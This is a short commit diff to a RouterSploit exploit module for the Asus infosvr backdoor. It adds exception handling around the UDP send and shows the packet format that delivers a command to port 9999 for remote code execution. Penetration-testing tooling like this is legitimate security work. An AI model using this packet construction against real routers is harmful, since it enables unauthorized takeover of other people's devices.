Fixing exception handling Asus Infosvr exploit.

routersploit/modules/exploits/asus/infosvr_backdoor_rce.py

@@ -43,7 +43,7 @@ class Exploit(exploits.Exploit):
         ],
     }
 
-    target = exploits.Option('', 'Target address e.g. 192.168.1.1')
+    target = exploits.Option('', 'Target IP address e.g. 192.168.1.1')
 
     def run(self):
         try:
@@ -76,8 +76,11 @@ class Exploit(exploits.Exploit):
 
         packet = (b'\x0C\x15\x33\x00'+ os.urandom(4) + (b'\x00' * 38) + struct.pack('<H', len(cmd)) + cmd).ljust(512, b'\x00')
 
-        sock.sendto(packet, (self.target, 9999))
-        
+        try:
+            sock.sendto(packet, (self.target, 9999))
+        except socket.error:
+            return ""
+
         while True:
             try:
                 data, addr = sock.recvfrom(512)